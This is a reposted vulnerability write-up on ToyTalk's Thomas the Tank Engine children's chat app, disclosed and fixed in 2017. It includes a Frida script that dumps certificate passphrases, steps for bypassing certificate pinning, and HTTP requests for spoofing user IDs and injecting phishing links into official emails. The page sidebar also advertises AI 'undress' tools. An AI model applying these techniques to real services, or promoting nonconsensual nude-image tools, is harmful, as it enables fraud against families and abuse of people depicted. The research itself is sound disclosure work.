搜尋
首頁運維安全發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

漏洞發現背景

ToyTalk是一家由皮克斯前高階主管創建的人工智慧玩具新創公司,它們設計的智慧玩具具有視覺追蹤、語音辨識和網路擴充功能,讓兒童透過APP與玩具之間進行語音交流和行為反應識別,激發兒童與虛擬人物的談話能力,更好地實現與玩具之間的互動樂趣。

ToyTalk於2015年7月推出了一款名為“托馬斯和他的朋友們與你聊天”(Thomas & Friends Talk To You)”的付費APP,能讓兒童與知名卡通人物“小火車托馬斯」(Thomas the Tank Engine)互動聊天,它允許兒童在8 次多多島故事之旅中,與托馬斯及其朋友培西、高登、亨利、詹姆斯、愛德華、托比、“胖總管”托芬海先生(Sir Topham Hatt)進行雙向對話。

為了測試ToyTalk玩具產品的安全性,以及接入家庭網路環境帶來的安全風險,我決定對「托馬斯和他的朋友們與你聊天」APP進行一些分析研究。由於ToyTalk產品都使用相同的程式碼庫,而且這款托馬斯對話APP很容易安裝和刪除,方便測試,也能有代表性。另外,ToyTalk的其它產品,如Hello Barbie(哈囉芭比)和Barbie Hello Dreamhouse (芭比夢幻之家)也可能有相同漏洞。

漏洞情況

漏洞1: - 缺乏身分驗證機制,攻擊者能輕易地假冒成一個兒童與托馬斯玩具進行對話

#漏洞2:- 可假冒support@toytalk.com或其它註冊用戶,發送注入HTML惡意釣魚鏈接的郵件

#APP工作原理分析

「托馬斯和他的朋友與你聊天」的APP啟動後,請輸入提供一個家長的電子郵件地址,以確認使用APP提供的語音辨識功能,當提交了電子郵件地址之後,APP進入運行介面。

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

剛開始,你可能會覺得該APP暴露的攻擊面非常有限,因為它需要提供與玩具對話的確認權限。

接下來,我要對該APP進行網絡瀏覽攔截分析。而且在分析中發現,該APP與其它應用不同,它提供了一個與客戶端進行認證的證書,也就是說,APP和它的WEB伺服器之間也會存在一個相互認證的過程。基於此,我們要先來看看客戶端證書和相關密碼驗證的工作機制。

#透過逆向後我們發現,以下兩個函數比較有趣:

public void setSslClientCertificate(String filename, String passphrase) {
        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("PKCS12");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mClientCertificate = KeyManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mClientCertificate.init(store, new char[0]);
        } catch (Exception e) {
            Log.OMG(e);
         } finally {
            Utils.close(file);
        }
    }
public void setSslCaCertificate(String filename, String passphrase) {

        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("BKS");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mCaCertificate = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mCaCertificate.init(store);
        } catch (Exception e) {
            Log.OMG(e);
        } finally {
            Utils.close(file);
        }
    }

之後,我沒有繼續逆向尋找密碼傳入函數,而是使用以下具備frida hook功能,可以轉儲密碼和檔案名稱的Python腳本來深入:

import frida
import sys
def on_message(message, data):
    print message
device = frida.get_device_manager().enumerate_devices()[-1]
pid = device.spawn(["com.toytalk.thomas"])
print (pid)
session = device.attach(pid)
ss = '''
 Java.perform(function () {
    var MyClass = Java.use("com.toytalk.library.HttpRequester");
    MyClass.setSslCaCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
    MyClass.setSslClientCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
})
'''    
script = session.create_script(ss)
script.load()
script.on('message', on_message)
device.resume(pid)
#session.detach()
sys.stdin.read()

高興的是,可以從apk中提取出正確的認證證書文件,並能用於執​​行中間人攻擊(MITM),而有趣的是,文件toytalk.12沒有使用任何密碼保護。

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

現在可以使用客戶端證書,但仍需要繞過證書鎖定機制。儘管有多種實作方式,但最簡單的方法是刪掉apk中的證書,重新建構程序,再重新安裝。把客戶端憑證匯入Burpsuite,實現了憑證鎖定功能停用,之後,我們就可以進入大多數APP程式測試的第一步-流量攔截。

漏洞分析

漏洞1 - 缺乏身份驗證機制

該APP程式也提供了一個不太明顯的功能,就是其捕獲的對話音訊檔案會儲存在線,可備家長後續進行重播收聽,該功能與用於先前授權同意的電子郵件地址綁定,雖然該郵箱地址只在父母執行密碼重置時才用得到。

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

當"speak" 按鈕被按下時,APP會把捕獲的音訊檔案以以下POST請求方式發送到遠端Web伺服器中:

https://asr.2.toytalk.com/v3/asr/0673bcb8-367a-44bc-aed5-8c21fb7086af/thomas/1502714441?account=<removedvedved&cli; =com.toytalk。 -cba9-4a76-a56b-51fc3d15f8f5&rate=16000 

虽然其中的发送内容涉及很多变量值,但通过把当前用户ID更改为其它用户ID后,就能把音频文件发送到指定的用户账户名下,这将会允许一些恶意攻击者向儿童父母发送一些淫秽音频信息。

在这种情况下,虽然用户ID是一个随机的全局惟一标识符(GUID),但我们可以根据邮箱地址等已知线索来发现一些有效的用户ID信息。

此外,通过在ToyTalk代码库上运行“strings”命令,我们也可以找到一些线索:

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

所以,根据上图信息,一旦客户端证书被安装到浏览器中后,通过访问地址:

https://api.toytalk.com/v3/account/

就能下载到一个包含用户ID的文件。有用户ID信息在手,就能更改POST请求中的ID信息,将对话音频发送到任何注册了该APP的邮箱地址中去。修复该漏洞的方法是要求提供正确的设备ID和相关联的用户ID。我们还没测试设备ID是否能以其它方法获取,但要向某个用户账号添加一个设备ID,貌似需要访问到关联的邮箱地址才行。

漏洞报送进程

2017.8.14 -  向ToyTalk报告漏洞

2017.11.16 - 被分类为一般漏洞并被初次修复,变为closed状态

2017.11.29 - ToyTalk再次测试发现漏洞仍然存在,并重置为reopen状态

2017.12.8  - 完全修复漏洞

2017.12.18 - 漏洞赏金发放并关闭漏洞报告

漏洞2 - 可向ToyTalk邮件中注入恶意HTML框架

几天过后,我的朋友建议我学习一下ToyTalk的邮箱注入机制,这是在提交漏洞1后发生的。在使用诸如“Thomas And You”等APP应用注册设备时,它会将一封电子邮件发送到用户提供的邮箱地址中, 由于该电子邮件中包含了用户信息(设备名称),如果攻击者利用漏洞1方法获取到受害者的用户ID之后,那么,接下来可以修改电子邮件HTML中包含的设备名称,以该受害者用户ID为可信发件人,向其它受害者发送恶意钓鱼邮件,或任意更改过的邮件内容。

为了向受害者发送钓鱼邮件,攻击者先要用邮箱在该APP上进行注册,利用该注册邮箱地址,再用漏洞1方法获取到受害者用户ID,用以后续进行钓鱼邮件发送。

也即,首先,攻击者用受害者注册过的邮箱地址,执行以下请求,以获取到相应的受害者用户ID:

GET /v3/account/<email> HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close</email>

然后,再以该用户ID为可信发件人,用以下POST方式,向其它受害者发送包含钓鱼链接的恶意邮件内容:

POST /v3/account/<accountid>/email/consent?device_id=asdf&device_name=TEST%20DEVICE"%20<a>click%20here</a>&application=Thomas+And+You&always HTTP/1.1
Content-Type: text/plain
Content-Length: 0
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close</accountid>

以上只是一个简单的PoC示例,它利用标签将HTML链接注入到邮件内容框架中,但如果花时间调整,也可以精心制作出一个更具迷惑性的钓鱼邮件来,例如,某位家长可以假冒support@toytalk.com邮件来欺骗其它家长的用户名密码信息。以下邮件内容包含钓鱼链接,是我们冒充toytalk官方发送的:

發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析

漏洞报送进程:

2017.12.4 - 提交漏洞

2017.12.12 - 官方致谢

2017.12.18 - 官方修复漏洞

2017.12.18 - 发布赏金并关闭漏洞报告

整体来说,两个漏洞的利用方式都存在一定的受限条件,但也侧面说明了大量APP在开发过程中忽视了全面的安全考虑。

以上是發現「小火車托馬斯」智慧玩具APP聊天應用漏洞的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述
本文轉載於:亿速云。如有侵權,請聯絡admin@php.cn刪除

熱AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover

AI Clothes Remover

用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool

Undress AI Tool

免費脫衣圖片

Clothoff.io

Clothoff.io

AI脫衣器

AI Hentai Generator

AI Hentai Generator

免費產生 AI 無盡。

熱門文章

R.E.P.O.能量晶體解釋及其做什麼(黃色晶體)
4 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳圖形設置
4 週前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您聽不到任何人,如何修復音頻
4 週前By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解鎖Myrise中的所有內容
1 個月前By尊渡假赌尊渡假赌尊渡假赌

熱工具

VSCode Windows 64位元 下載

VSCode Windows 64位元 下載

微軟推出的免費、功能強大的一款IDE編輯器

SublimeText3漢化版

SublimeText3漢化版

中文版,非常好用

Dreamweaver Mac版

Dreamweaver Mac版

視覺化網頁開發工具

mPDF

mPDF

mPDF是一個PHP庫,可以從UTF-8編碼的HTML產生PDF檔案。原作者Ian Back編寫mPDF以從他的網站上「即時」輸出PDF文件,並處理不同的語言。與原始腳本如HTML2FPDF相比,它的速度較慢,並且在使用Unicode字體時產生的檔案較大,但支援CSS樣式等,並進行了大量增強。支援幾乎所有語言,包括RTL(阿拉伯語和希伯來語)和CJK(中日韓)。支援嵌套的區塊級元素(如P、DIV),

Atom編輯器mac版下載

Atom編輯器mac版下載

最受歡迎的的開源編輯器